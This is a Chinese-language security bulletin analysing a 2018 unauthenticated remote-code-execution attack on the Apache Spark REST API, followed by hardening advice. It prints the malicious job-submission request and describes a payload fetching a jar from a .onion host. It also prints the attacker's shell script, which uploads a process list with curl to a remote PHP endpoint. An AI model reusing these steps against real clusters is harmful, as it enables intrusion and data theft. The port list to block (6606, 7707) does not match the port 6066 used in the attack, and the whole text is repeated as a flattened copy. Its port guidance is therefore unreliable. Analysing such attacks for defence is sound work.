威胁快报 | 首个Spark REST API未授权漏洞利用分析
字数 1110 2025-08-18 11:37:28

Apache Spark REST API 未授权RCE漏洞分析与防护指南

漏洞概述

2018年7月7日,阿里云安全团队首次捕获利用Apache Spark REST API未授权远程代码执行(RCE)漏洞的真实攻击样本。该漏洞允许攻击者无需认证即可通过REST API操作Spark,创建任务、删除任务、查看任务结果,最终获得执行任意指令的能力。

漏洞背景

Apache Spark是专为大规模数据处理设计的快速通用计算引擎,由UC Berkeley AMP实验室开源。它提供了WEB UI图形化界面和REST API方便用户操作。Spark作为大数据"计算引擎",一旦被攻破,企业的核心数据资产、计算能力和用户敏感数据都可能被窃取。

漏洞详情

攻击流程还原

  1. 目标发现:攻击者通过web扫描发现暴露在公网的Spark webui服务
  2. 漏洞利用:通过6066端口向REST API发送恶意请求
    POST /v1/submissions/create
    Host: xxxx.xxx.xx:6066
    
    攻击payload指示服务器从暗网下载恶意jar包(如https://xxxxxxxx.onion.plus/SimpleApp.jar)并执行
  3. 恶意载荷分析:下载的jar包是一个简单的命令执行后门,执行时会从暗网下载并执行shell脚本
  4. 脚本内容
    #!/bin/bash
    ps ax --sort=-pcpu > /tmp/tmp.txt
    curl -F "file=@/tmp/tmp.txt" http://x.x.x.x/re.php
    rm -rf /tmp/tmp.txt
    
    该脚本收集系统性能信息并回传给攻击者

漏洞影响范围

  • 全网约5000台暴露8080端口的Spark服务器受影响
  • 攻击者可以批量接管存在权限问题的机器
  • 与Hadoop Yarn未授权访问漏洞原理和利用方法相似

安全建议

网络层防护

  1. 使用iptables或安全组限制对以下端口的访问:
    • 8088
    • 8081
    • 7707
    • 6606
  2. 如无必要,不要将接口开放在公网,改为本地或内网调用

认证与访问控制

  1. YARN模式:使用Spark的yarn控制模式,并开启HTTP Kerberos对WEB UI进行访问控制
  2. Standalone模式
    • 自行实现访问控制的jar包
    • 设置spark.ui.filters对WEB UI进行访问控制

其他防护措施

  1. 定期更新Spark到最新版本
  2. 监控异常的网络连接和系统资源使用情况
  3. 实施最小权限原则,限制Spark服务的运行权限

未来趋势预测

  1. 随着加密货币经济发展,具有强大算力但安全能力较弱的分布式应用将面临更多攻击
  2. Spark REST API漏洞可能很快被黑产用于挖矿等恶意活动
  3. 使用"暗网"传播恶意后门的趋势可能会扩大

总结

Apache Spark REST API未授权漏洞是一个严重的安全威胁,可能导致整个集群被攻陷。企业应尽快评估自身风险,按照上述建议实施防护措施,特别是加强认证和网络访问控制,以保护大数据环境的安全。

Apache Spark REST API 未授权RCE漏洞分析与防护指南 漏洞概述 2018年7月7日,阿里云安全团队首次捕获利用Apache Spark REST API未授权远程代码执行(RCE)漏洞的真实攻击样本。该漏洞允许攻击者无需认证即可通过REST API操作Spark,创建任务、删除任务、查看任务结果,最终获得执行任意指令的能力。 漏洞背景 Apache Spark是专为大规模数据处理设计的快速通用计算引擎,由UC Berkeley AMP实验室开源。它提供了WEB UI图形化界面和REST API方便用户操作。Spark作为大数据"计算引擎",一旦被攻破,企业的核心数据资产、计算能力和用户敏感数据都可能被窃取。 漏洞详情 攻击流程还原 目标发现 :攻击者通过web扫描发现暴露在公网的Spark webui服务 漏洞利用 :通过6066端口向REST API发送恶意请求 攻击payload指示服务器从暗网下载恶意jar包(如 https://xxxxxxxx.onion.plus/SimpleApp.jar )并执行 恶意载荷分析 :下载的jar包是一个简单的命令执行后门,执行时会从暗网下载并执行shell脚本 脚本内容 : 该脚本收集系统性能信息并回传给攻击者 漏洞影响范围 全网约5000台暴露8080端口的Spark服务器受影响 攻击者可以批量接管存在权限问题的机器 与Hadoop Yarn未授权访问漏洞原理和利用方法相似 安全建议 网络层防护 使用iptables或安全组限制对以下端口的访问: 8088 8081 7707 6606 如无必要,不要将接口开放在公网,改为本地或内网调用 认证与访问控制 YARN模式 :使用Spark的yarn控制模式,并开启HTTP Kerberos对WEB UI进行访问控制 Standalone模式 : 自行实现访问控制的jar包 设置 spark.ui.filters 对WEB UI进行访问控制 其他防护措施 定期更新Spark到最新版本 监控异常的网络连接和系统资源使用情况 实施最小权限原则,限制Spark服务的运行权限 未来趋势预测 随着加密货币经济发展,具有强大算力但安全能力较弱的分布式应用将面临更多攻击 Spark REST API漏洞可能很快被黑产用于挖矿等恶意活动 使用"暗网"传播恶意后门的趋势可能会扩大 总结 Apache Spark REST API未授权漏洞是一个严重的安全威胁,可能导致整个集群被攻陷。企业应尽快评估自身风险,按照上述建议实施防护措施,特别是加强认证和网络访问控制,以保护大数据环境的安全。